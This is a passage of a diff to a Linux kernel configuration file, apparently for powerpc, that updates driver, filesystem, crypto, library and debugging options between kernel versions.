CONFIG_RTC_DRV_M48T35 is not set # CONFIG_RTC_DRV_M48T59 is not set # CONFIG_RTC_DRV_MSM6242 is not set -# CONFIG_RTC_DRV_BQ4802 is not set # CONFIG_RTC_DRV_RP5C01 is not set -# CONFIG_RTC_DRV_V3020 is not set CONFIG_RTC_DRV_OPAL=y # CONFIG_RTC_DRV_ZYNQMP is not set @@ -2425,7 +2676,6 @@ CONFIG_RTC_DRV_OPAL=y # CONFIG_RTC_DRV_GENERIC is not set # CONFIG_RTC_DRV_CADENCE is not set # CONFIG_RTC_DRV_FTRTC010 is not set -# CONFIG_RTC_DRV_SNVS is not set # CONFIG_RTC_DRV_R7301 is not set # @@ -2439,20 +2689,30 @@ CONFIG_RTC_DRV_OPAL=y # CONFIG_SYNC_FILE=y # CONFIG_SW_SYNC is not set +# CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set # CONFIG_DMABUF_SELFTESTS is not set +# CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options -# CONFIG_AUXDISPLAY is not set # CONFIG_UIO is not set # CONFIG_VFIO is not set CONFIG_VIRT_DRIVERS=y +CONFIG_VIRTIO_ANCHOR=y CONFIG_VIRTIO=y +CONFIG_VIRTIO_PCI_LIB=y +CONFIG_VIRTIO_PCI_LIB_LEGACY=y CONFIG_VIRTIO_MENU=y CONFIG_VIRTIO_PCI=y CONFIG_VIRTIO_PCI_LEGACY=y # CONFIG_VIRTIO_BALLOON is not set # CONFIG_VIRTIO_INPUT is not set # CONFIG_VIRTIO_MMIO is not set +# CONFIG_VDPA is not set +CONFIG_VHOST_MENU=y +# CONFIG_VHOST_NET is not set +# CONFIG_VHOST_CROSS_ENDIAN_LEGACY is not set # # Microsoft Hyper-V guest support @@ -2460,45 +2720,17 @@ CONFIG_VIRTIO_PCI_LEGACY=y # end of Microsoft Hyper-V guest support # CONFIG_GREYBUS is not set -CONFIG_STAGING=y # CONFIG_COMEDI is not set +CONFIG_STAGING=y # CONFIG_RTS5208 is not set # CONFIG_FB_SM750 is not set - -# -# Speakup console speech -# -# CONFIG_SPEAKUP is not set -# end of Speakup console speech - # CONFIG_STAGING_MEDIA is not set - -# -# Android -# -# end of Android - # CONFIG_LTE_GDM724X is not set -# CONFIG_GS_FPGABOOT is not set -# CONFIG_UNISYSSPAR is not set - -# -# Gasket devices -# -# end of Gasket devices - # CONFIG_XIL_AXIS_FIFO is not set # CONFIG_FIELDBUS_DEV is not set -# CONFIG_USB_WUSB_CBAF is not set -# CONFIG_UWB is not set -CONFIG_EXFAT_FS=y -CONFIG_EXFAT_DISCARD=y -# CONFIG_EXFAT_DELAYED_SYNC is not set -# CONFIG_EXFAT_KERNEL_DEBUG is not set -# CONFIG_EXFAT_DEBUG_MSG is not set -CONFIG_EXFAT_DEFAULT_CODEPAGE=437 -CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" +# CONFIG_VME_BUS is not set # CONFIG_GOLDFISH is not set +# CONFIG_COMMON_CLK is not set # CONFIG_HWSPINLOCK is not set # @@ -2516,8 +2748,11 @@ CONFIG_IOMMU_SUPPORT=y # end of Generic IOMMU Pagetable Support # CONFIG_IOMMU_DEBUGFS is not set +CONFIG_IOMMU_DEFAULT_DMA_STRICT=y +# CONFIG_IOMMU_DEFAULT_DMA_LAZY is not set # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set CONFIG_OF_IOMMU=y +# CONFIG_IOMMUFD is not set CONFIG_SPAPR_TCE_IOMMU=y # @@ -2551,6 +2786,7 @@ CONFIG_SPAPR_TCE_IOMMU=y # # NXP/Freescale QorIQ SoC drivers # +# CONFIG_QUICC_ENGINE is not set # end of NXP/Freescale QorIQ SoC drivers # @@ -2566,8 +2802,11 @@ CONFIG_SPAPR_TCE_IOMMU=y # # Enable LiteX SoC Builder specific drivers # +# CONFIG_LITEX_SOC_CONTROLLER is not set # end of Enable LiteX SoC Builder specific drivers +# CONFIG_WPCM450_SOC is not set + # # Qualcomm SoC drivers # @@ -2593,6 +2832,7 @@ CONFIG_SPAPR_TCE_IOMMU=y # CONFIG_IRQCHIP=y # CONFIG_AL_FIC is not set +# CONFIG_XILINX_INTC is not set # end of IRQ chip support # CONFIG_IPACK_BUS is not set @@ -2602,11 +2842,17 @@ CONFIG_IRQCHIP=y # PHY Subsystem # # CONFIG_GENERIC_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# # CONFIG_BCM_KONA_USB2_PHY is not set -# CONFIG_PHY_CADENCE_DP is not set +# end of PHY drivers for Broadcom platforms + # CONFIG_PHY_CADENCE_DPHY is not set -# CONFIG_PHY_FSL_IMX8MQ_USB is not set -# CONFIG_PHY_MIXEL_MIPI_DPHY is not set +# CONFIG_PHY_CADENCE_DPHY_RX is not set +# CONFIG_PHY_CADENCE_SALVO is not set # CONFIG_PHY_PXA_28NM_HSIC is not set # CONFIG_PHY_PXA_28NM_USB2 is not set # end of PHY Subsystem @@ -2620,11 +2866,12 @@ CONFIG_IRQCHIP=y # end of Performance monitor support # CONFIG_RAS is not set +# CONFIG_USB4 is not set # # Android # -# CONFIG_ANDROID is not set +# CONFIG_ANDROID_BINDER_IPC is not set # end of Android # CONFIG_LIBNVDIMM is not set @@ -2632,6 +2879,16 @@ CONFIG_DAX=y CONFIG_NVMEM=y CONFIG_NVMEM_SYSFS=y +# +# Layout Types +# +# CONFIG_NVMEM_LAYOUT_SL28_VPD is not set +# CONFIG_NVMEM_LAYOUT_ONIE_TLV is not set +# end of Layout Types + +# CONFIG_NVMEM_RMEM is not set +# CONFIG_NVMEM_U_BOOT_ENV is not set + # # HW tracing support # @@ -2645,6 +2902,8 @@ CONFIG_NVMEM_SYSFS=y # CONFIG_SLIMBUS is not set # CONFIG_INTERCONNECT is not set # CONFIG_COUNTER is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set # end of Device Drivers # @@ -2653,6 +2912,8 @@ CONFIG_NVMEM_SYSFS=y CONFIG_DCACHE_WORD_ACCESS=y # CONFIG_VALIDATE_FS_PARSER is not set CONFIG_FS_IOMAP=y +CONFIG_BUFFER_HEAD=y +CONFIG_LEGACY_DIRECT_IO=y # CONFIG_EXT2_FS is not set # CONFIG_EXT3_FS is not set CONFIG_EXT4_FS=y @@ -2675,10 +2936,11 @@ CONFIG_JFS_SECURITY=y # CONFIG_JFS_DEBUG is not set # CONFIG_JFS_STATISTICS is not set CONFIG_XFS_FS=y +CONFIG_XFS_SUPPORT_V4=y +CONFIG_XFS_SUPPORT_ASCII_CI=y CONFIG_XFS_QUOTA=y CONFIG_XFS_POSIX_ACL=y CONFIG_XFS_RT=y -# CONFIG_XFS_ONLINE_SCRUB is not set CONFIG_XFS_DEBUG=y CONFIG_XFS_ASSERT_FATAL=y # CONFIG_GFS2_FS is not set @@ -2697,12 +2959,12 @@ CONFIG_F2FS_FS_POSIX_ACL=y # CONFIG_F2FS_FS_SECURITY is not set CONFIG_F2FS_CHECK_FS=y # CONFIG_F2FS_FAULT_INJECTION is not set -CONFIG_FS_DAX=y +# CONFIG_F2FS_FS_COMPRESSION is not set +CONFIG_F2FS_IOSTAT=y CONFIG_FS_POSIX_ACL=y CONFIG_EXPORTFS=y CONFIG_EXPORTFS_BLOCK_OPS=y CONFIG_FILE_LOCKING=y -CONFIG_MANDATORY_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set # CONFIG_FS_VERITY is not set CONFIG_FSNOTIFY=y @@ -2711,12 +2973,10 @@ CONFIG_INOTIFY_USER=y # CONFIG_FANOTIFY is not set CONFIG_QUOTA=y # CONFIG_QUOTA_NETLINK_INTERFACE is not set -CONFIG_PRINT_QUOTA_WARNING=y # CONFIG_QUOTA_DEBUG is not set # CONFIG_QFMT_V1 is not set # CONFIG_QFMT_V2 is not set CONFIG_QUOTACTL=y -# CONFIG_AUTOFS4_FS is not set # CONFIG_AUTOFS_FS is not set # CONFIG_FUSE_FS is not set # CONFIG_OVERLAY_FS is not set @@ -2724,6 +2984,8 @@ CONFIG_QUOTACTL=y # # Caches # +CONFIG_NETFS_SUPPORT=y +# CONFIG_NETFS_STATS is not set # CONFIG_FSCACHE is not set # end of Caches @@ -2737,7 +2999,7 @@ CONFIG_UDF_FS=y # end of CD-ROM/DVD Filesystems # -# DOS/FAT/NT Filesystems +# DOS/FAT/EXFAT/NT Filesystems # CONFIG_FAT_FS=y CONFIG_MSDOS_FS=y @@ -2745,8 +3007,11 @@ CONFIG_VFAT_FS=y CONFIG_FAT_DEFAULT_CODEPAGE=437 CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" # CONFIG_FAT_DEFAULT_UTF8 is not set +CONFIG_EXFAT_FS=y +CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_NTFS_FS is not set -# end of DOS/FAT/NT Filesystems +# CONFIG_NTFS3_FS is not set +# end of DOS/FAT/EXFAT/NT Filesystems # # Pseudo filesystems @@ -2759,6 +3024,7 @@ CONFIG_PROC_PAGE_MONITOR=y CONFIG_KERNFS=y CONFIG_SYSFS=y # CONFIG_TMPFS is not set +CONFIG_ARCH_SUPPORTS_HUGETLBFS=y # CONFIG_HUGETLBFS is not set CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set @@ -2788,8 +3054,10 @@ CONFIG_SQUASHFS=y CONFIG_SQUASHFS_FILE_CACHE=y # CONFIG_SQUASHFS_FILE_DIRECT is not set CONFIG_SQUASHFS_DECOMP_SINGLE=y -# CONFIG_SQUASHFS_DECOMP_MULTI is not set -# CONFIG_SQUASHFS_DECOMP_MULTI_PERCPU is not set +# CONFIG_SQUASHFS_CHOICE_DECOMP_BY_MOUNT is not set +CONFIG_SQUASHFS_COMPILE_DECOMP_SINGLE=y +# CONFIG_SQUASHFS_COMPILE_DECOMP_MULTI is not set +# CONFIG_SQUASHFS_COMPILE_DECOMP_MULTI_PERCPU is not set # CONFIG_SQUASHFS_XATTR is not set CONFIG_SQUASHFS_ZLIB=y # CONFIG_SQUASHFS_LZ4 is not set @@ -2816,28 +3084,32 @@ CONFIG_NFS_V2=y CONFIG_NFS_V3=y # CONFIG_NFS_V3_ACL is not set CONFIG_NFS_V4=y -# CONFIG_NFS_SWAP is not set CONFIG_NFS_V4_1=y CONFIG_NFS_V4_2=y CONFIG_PNFS_FILE_LAYOUT=y CONFIG_PNFS_BLOCK=y -CONFIG_PNFS_FLEXFILE_LAYOUT=m +CONFIG_PNFS_FLEXFILE_LAYOUT=y CONFIG_NFS_V4_1_IMPLEMENTATION_ID_DOMAIN="kernel.org" CONFIG_NFS_V4_1_MIGRATION=y CONFIG_NFS_V4_SECURITY_LABEL=y # CONFIG_NFS_USE_LEGACY_DNS is not set CONFIG_NFS_USE_KERNEL_DNS=y +CONFIG_NFS_DISABLE_UDP_SUPPORT=y +CONFIG_NFS_V4_2_READ_PLUS=y # CONFIG_NFSD is not set CONFIG_GRACE_PERIOD=y CONFIG_LOCKD=y CONFIG_LOCKD_V4=y CONFIG_NFS_COMMON=y +CONFIG_NFS_V4_2_SSC_HELPER=y CONFIG_SUNRPC=y CONFIG_SUNRPC_GSS=y CONFIG_SUNRPC_BACKCHANNEL=y +CONFIG_RPCSEC_GSS_KRB5=y # CONFIG_SUNRPC_DEBUG is not set # CONFIG_CEPH_FS is not set # CONFIG_CIFS is not set +# CONFIG_SMB_SERVER is not set # CONFIG_CODA_FS is not set CONFIG_AFS_FS=y # CONFIG_AFS_DEBUG is not set @@ -2893,6 +3165,7 @@ CONFIG_NLS_ISO8859_1=y # CONFIG_NLS_MAC_ROMANIAN is not set # CONFIG_NLS_MAC_TURKISH is not set CONFIG_NLS_UTF8=y +CONFIG_NLS_UCS2_UTILS=y # CONFIG_UNICODE is not set CONFIG_IO_WQ=y # end of File systems @@ -2905,13 +3178,13 @@ CONFIG_KEYS=y # CONFIG_PERSISTENT_KEYRINGS is not set # CONFIG_TRUSTED_KEYS is not set CONFIG_ENCRYPTED_KEYS=y +# CONFIG_USER_DECRYPTED_DATA is not set # CONFIG_KEY_DH_OPERATIONS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITY=y CONFIG_SECURITYFS=y # CONFIG_SECURITY_NETWORK is not set # CONFIG_SECURITY_PATH is not set -CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y # CONFIG_HARDENED_USERCOPY is not set # CONFIG_FORTIFY_SOURCE is not set # CONFIG_STATIC_USERMODEHELPER is not set @@ -2922,6 +3195,7 @@ CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y # CONFIG_SECURITY_YAMA is not set # CONFIG_SECURITY_SAFESETID is not set # CONFIG_SECURITY_LOCKDOWN_LSM is not set +# CONFIG_SECURITY_LANDLOCK is not set CONFIG_INTEGRITY=y # CONFIG_INTEGRITY_SIGNATURE is not set # CONFIG_IMA is not set @@ -2942,11 +3216,17 @@ CONFIG_INIT_STACK_NONE=y # CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set # CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set # CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set -# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization +# +# Hardening of kernel data structures +# +# CONFIG_LIST_HARDENED is not set +# CONFIG_BUG_ON_DATA_CORRUPTION is not set +# end of Hardening of kernel data structures + CONFIG_RANDSTRUCT_NONE=y # CONFIG_RANDSTRUCT_FULL is not set # CONFIG_RANDSTRUCT_PERFORMANCE is not set @@ -2963,6 +3243,7 @@ CONFIG_CRYPTO_ALGAPI=y CONFIG_CRYPTO_ALGAPI2=y CONFIG_CRYPTO_AEAD=y CONFIG_CRYPTO_AEAD2=y +CONFIG_CRYPTO_SIG2=y CONFIG_CRYPTO_SKCIPHER=y CONFIG_CRYPTO_SKCIPHER2=y CONFIG_CRYPTO_HASH=y @@ -2983,6 +3264,7 @@ CONFIG_CRYPTO_NULL2=y CONFIG_CRYPTO_CRYPTD=y CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_TEST is not set +# end of Crypto core or helper # # Public-key cryptography @@ -2990,94 +3272,95 @@ CONFIG_CRYPTO_AUTHENC=y CONFIG_CRYPTO_RSA=y # CONFIG_CRYPTO_DH is not set # CONFIG_CRYPTO_ECDH is not set +# CONFIG_CRYPTO_ECDSA is not set # CONFIG_CRYPTO_ECRDSA is not set +# CONFIG_CRYPTO_SM2 is not set # CONFIG_CRYPTO_CURVE25519 is not set +# end of Public-key cryptography # -# Authenticated Encryption with Associated Data +# Block ciphers # -# CONFIG_CRYPTO_CCM is not set -# CONFIG_CRYPTO_GCM is not set -# CONFIG_CRYPTO_CHACHA20POLY1305 is not set -# CONFIG_CRYPTO_AEGIS128 is not set -# CONFIG_CRYPTO_SEQIV is not set -# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_TI is not set +# CONFIG_CRYPTO_ANUBIS is not set +# CONFIG_CRYPTO_ARIA is not set +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +CONFIG_CRYPTO_DES=y +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_KHAZAD is not set +# CONFIG_CRYPTO_SEED is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_SM4_GENERIC is not set +# CONFIG_CRYPTO_TEA is not set +# CONFIG_CRYPTO_TWOFISH is not set +# end of Block ciphers # -# Block modes +# Length-preserving ciphers and modes # +# CONFIG_CRYPTO_ADIANTUM is not set +CONFIG_CRYPTO_ARC4=y +# CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y # CONFIG_CRYPTO_CFB is not set # CONFIG_CRYPTO_CTR is not set # CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_HCTR2 is not set +# CONFIG_CRYPTO_KEYWRAP is not set # CONFIG_CRYPTO_LRW is not set # CONFIG_CRYPTO_OFB is not set # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y -# CONFIG_CRYPTO_KEYWRAP is not set -# CONFIG_CRYPTO_ADIANTUM is not set -CONFIG_CRYPTO_ESSIV=y +# end of Length-preserving ciphers and modes # -# Hash modes +# AEAD (authenticated encryption with associated data) ciphers # -CONFIG_CRYPTO_CMAC=y -CONFIG_CRYPTO_HMAC=y -# CONFIG_CRYPTO_XCBC is not set -# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_AEGIS128 is not set +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +# CONFIG_CRYPTO_SEQIV is not set +# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_ESSIV=y +# end of AEAD (authenticated encryption with associated data) ciphers # -# Digest +# Hashes, digests, and MACs # -CONFIG_CRYPTO_CRC32C=y -# CONFIG_CRYPTO_CRC32C_VPMSUM is not set -CONFIG_CRYPTO_CRC32=y -CONFIG_CRYPTO_XXHASH=y CONFIG_CRYPTO_BLAKE2B=y -# CONFIG_CRYPTO_BLAKE2S is not set -# CONFIG_CRYPTO_CRCT10DIF is not set +CONFIG_CRYPTO_CMAC=y # CONFIG_CRYPTO_GHASH is not set -# CONFIG_CRYPTO_POLY1305 is not set +CONFIG_CRYPTO_HMAC=y CONFIG_CRYPTO_MD4=y CONFIG_CRYPTO_MD5=y -CONFIG_CRYPTO_MD5_PPC=y # CONFIG_CRYPTO_MICHAEL_MIC is not set -# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_POLY1305 is not set # CONFIG_CRYPTO_RMD160 is not set -# CONFIG_CRYPTO_RMD256 is not set -# CONFIG_CRYPTO_RMD320 is not set CONFIG_CRYPTO_SHA1=y -CONFIG_CRYPTO_SHA1_PPC=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y # CONFIG_CRYPTO_SHA3 is not set -# CONFIG_CRYPTO_SM3 is not set +# CONFIG_CRYPTO_SM3_GENERIC is not set # CONFIG_CRYPTO_STREEBOG is not set -# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_VMAC is not set # CONFIG_CRYPTO_WP512 is not set +# CONFIG_CRYPTO_XCBC is not set +CONFIG_CRYPTO_XXHASH=y +# end of Hashes, digests, and MACs # -# Ciphers +# CRCs (cyclic redundancy checks) # -CONFIG_CRYPTO_AES=y -# CONFIG_CRYPTO_AES_TI is not set -# CONFIG_CRYPTO_ANUBIS is not set -CONFIG_CRYPTO_ARC4=y -# CONFIG_CRYPTO_BLOWFISH is not set -# CONFIG_CRYPTO_CAMELLIA is not set -# CONFIG_CRYPTO_CAST5 is not set -# CONFIG_CRYPTO_CAST6 is not set -CONFIG_CRYPTO_DES=y -# CONFIG_CRYPTO_FCRYPT is not set -# CONFIG_CRYPTO_KHAZAD is not set -# CONFIG_CRYPTO_SALSA20 is not set -# CONFIG_CRYPTO_CHACHA20 is not set -# CONFIG_CRYPTO_SEED is not set -# CONFIG_CRYPTO_SERPENT is not set -# CONFIG_CRYPTO_SM4 is not set -# CONFIG_CRYPTO_TEA is not set -# CONFIG_CRYPTO_TWOFISH is not set +CONFIG_CRYPTO_CRC32C=y +CONFIG_CRYPTO_CRC32=y +# CONFIG_CRYPTO_CRCT10DIF is not set +# end of CRCs (cyclic redundancy checks) # # Compression @@ -3106,22 +3389,23 @@ CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y CONFIG_CRYPTO_USER_API_RNG=y CONFIG_CRYPTO_USER_API_AEAD=y +CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE=y # CONFIG_CRYPTO_STATS is not set +# end of Userspace interface + CONFIG_CRYPTO_HASH_INFO=y # -# Crypto library routines +# Accelerated Cryptographic Algorithms for CPU (powerpc) # -CONFIG_CRYPTO_LIB_AES=y -CONFIG_CRYPTO_LIB_ARC4=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_DES=y -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=1 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y +# CONFIG_CRYPTO_CRC32C_VPMSUM is not set +CONFIG_CRYPTO_MD5_PPC=y +CONFIG_CRYPTO_SHA1_PPC=y +# CONFIG_CRYPTO_AES_GCM_P10 is not set +# CONFIG_CRYPTO_CHACHA20_P10 is not set +# CONFIG_CRYPTO_POLY1305_P10 is not set +# end of Accelerated Cryptographic Algorithms for CPU (powerpc) + # CONFIG_CRYPTO_HW is not set CONFIG_ASYMMETRIC_KEY_TYPE=y CONFIG_ASYMMETRIC_PUBLIC_KEY_SUBTYPE=y @@ -3130,11 +3414,14 @@ CONFIG_X509_CERTIFICATE_PARSER=y CONFIG_PKCS7_MESSAGE_PARSER=y # CONFIG_PKCS7_TEST_KEY is not set # CONFIG_SIGNED_PE_FILE_VERIFICATION is not set +# CONFIG_FIPS_SIGNATURE_SELFTEST is not set # # Certificates for signature checking # CONFIG_MODULE_SIG_KEY="certs/signing_key.pem" +CONFIG_MODULE_SIG_KEY_TYPE_RSA=y +# CONFIG_MODULE_SIG_KEY_TYPE_ECDSA is not set CONFIG_SYSTEM_TRUSTED_KEYRING=y CONFIG_SYSTEM_TRUSTED_KEYS="" # CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set @@ -3153,13 +3440,33 @@ CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y # CONFIG_CORDIC is not set +# CONFIG_PRIME_NUMBERS is not set CONFIG_GENERIC_PCI_IOMAP=y CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_ARC4=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_DES=y +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=1 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set CONFIG_CRC_ITU_T=y CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set @@ -3178,6 +3485,7 @@ CONFIG_ZLIB_INFLATE=y CONFIG_ZLIB_DEFLATE=y CONFIG_LZO_COMPRESS=y CONFIG_LZO_DECOMPRESS=y +CONFIG_ZSTD_COMMON=y CONFIG_ZSTD_COMPRESS=y CONFIG_ZSTD_DECOMPRESS=y CONFIG_XZ_DEC=y @@ -3191,21 +3499,28 @@ CONFIG_XZ_DEC_POWERPC=y CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y +CONFIG_DECOMPRESS_ZSTD=y CONFIG_GENERIC_ALLOCATOR=y CONFIG_REED_SOLOMON=y CONFIG_REED_SOLOMON_DEC8=y CONFIG_INTERVAL_TREE=y CONFIG_ASSOCIATIVE_ARRAY=y CONFIG_HAS_IOMEM=y +CONFIG_HAS_IOPORT=y CONFIG_HAS_IOPORT_MAP=y CONFIG_HAS_DMA=y +CONFIG_DMA_OPS=y +CONFIG_DMA_OPS_BYPASS=y CONFIG_NEED_SG_DMA_LENGTH=y CONFIG_NEED_DMA_MAP_STATE=y CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_DMA_DECLARE_COHERENT=y +CONFIG_ARCH_DMA_DEFAULT_COHERENT=y # CONFIG_DMA_API_DEBUG is not set +# CONFIG_DMA_MAP_BENCHMARK is not set CONFIG_SGL_ALLOC=y CONFIG_IOMMU_HELPER=y +# CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y @@ -3216,17 +3531,25 @@ CONFIG_IRQ_POLL=y CONFIG_MPILIB=y CONFIG_LIBFDT=y CONFIG_OID_REGISTRY=y +CONFIG_HAVE_GENERIC_VDSO=y +CONFIG_GENERIC_GETTIMEOFDAY=y +CONFIG_GENERIC_VDSO_TIME_NS=y CONFIG_FONT_SUPPORT=y # CONFIG_FONTS is not set CONFIG_FONT_8x8=y CONFIG_FONT_8x16=y CONFIG_SG_POOL=y CONFIG_ARCH_HAS_PMEM_API=y +CONFIG_ARCH_HAS_MEMREMAP_COMPAT_ALIGN=y CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y -CONFIG_ARCH_HAS_UACCESS_MCSAFE=y +CONFIG_ARCH_HAS_COPY_MC=y +CONFIG_ARCH_STACKWALK=y +CONFIG_STACKDEPOT=y CONFIG_SBITMAP=y # end of Library routines +CONFIG_GENERIC_IOREMAP=y + # # Kernel hacking # @@ -3241,22 +3564,30 @@ CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 # CONFIG_DYNAMIC_DEBUG is not set +# CONFIG_DYNAMIC_DEBUG_CORE is not set CONFIG_SYMBOLIC_ERRNAME=y CONFIG_DEBUG_BUGVERBOSE=y # end of printk and dmesg options +CONFIG_DEBUG_KERNEL=y +CONFIG_DEBUG_MISC=y + # # Compile-time checks and compiler options # -# CONFIG_DEBUG_INFO is not set -CONFIG_ENABLE_MUST_CHECK=y +CONFIG_AS_HAS_NON_CONST_LEB128=y +CONFIG_DEBUG_INFO_NONE=y +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +# CONFIG_DEBUG_INFO_DWARF4 is not set +# CONFIG_DEBUG_INFO_DWARF5 is not set CONFIG_FRAME_WARN=2048 # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_READABLE_ASM is not set # CONFIG_HEADERS_INSTALL is not set -CONFIG_OPTIMIZE_INLINING=y # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_SECTION_MISMATCH_WARN_ONLY=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +# CONFIG_VMLINUX_MAP is not set # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set # end of Compile-time checks and compiler options @@ -3266,41 +3597,64 @@ CONFIG_SECTION_MISMATCH_WARN_ONLY=y CONFIG_MAGIC_SYSRQ=y CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x1 CONFIG_MAGIC_SYSRQ_SERIAL=y +CONFIG_MAGIC_SYSRQ_SERIAL_SEQUENCE="" CONFIG_DEBUG_FS=y +CONFIG_DEBUG_FS_ALLOW_ALL=y +# CONFIG_DEBUG_FS_DISALLOW_MOUNT is not set +# CONFIG_DEBUG_FS_ALLOW_NONE is not set CONFIG_HAVE_ARCH_KGDB=y # CONFIG_KGDB is not set CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y # CONFIG_UBSAN is not set -CONFIG_UBSAN_ALIGNMENT=y +CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments -CONFIG_DEBUG_KERNEL=y -CONFIG_DEBUG_MISC=y +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging # # Memory Debugging # # CONFIG_PAGE_EXTENSION is not set # CONFIG_DEBUG_PAGEALLOC is not set +CONFIG_SLUB_DEBUG=y +# CONFIG_SLUB_DEBUG_ON is not set # CONFIG_PAGE_OWNER is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set -# CONFIG_DEBUG_OBJECTS is not set -# CONFIG_SLUB_DEBUG_ON is not set -# CONFIG_SLUB_STATS is not set +CONFIG_ARCH_HAS_DEBUG_WX=y +# CONFIG_DEBUG_WX is not set +CONFIG_GENERIC_PTDUMP=y +# CONFIG_PTDUMP_DEBUGFS is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set +# CONFIG_PER_VMA_LOCK_STATS is not set +# CONFIG_DEBUG_OBJECTS is not set +# CONFIG_SHRINKER_DEBUG is not set # CONFIG_DEBUG_STACK_USAGE is not set # CONFIG_SCHED_STACK_END_CHECK is not set +CONFIG_ARCH_HAS_DEBUG_VM_PGTABLE=y # CONFIG_DEBUG_VM is not set +# CONFIG_DEBUG_VM_PGTABLE is not set CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_VIRTUAL is not set # CONFIG_DEBUG_MEMORY_INIT is not set # 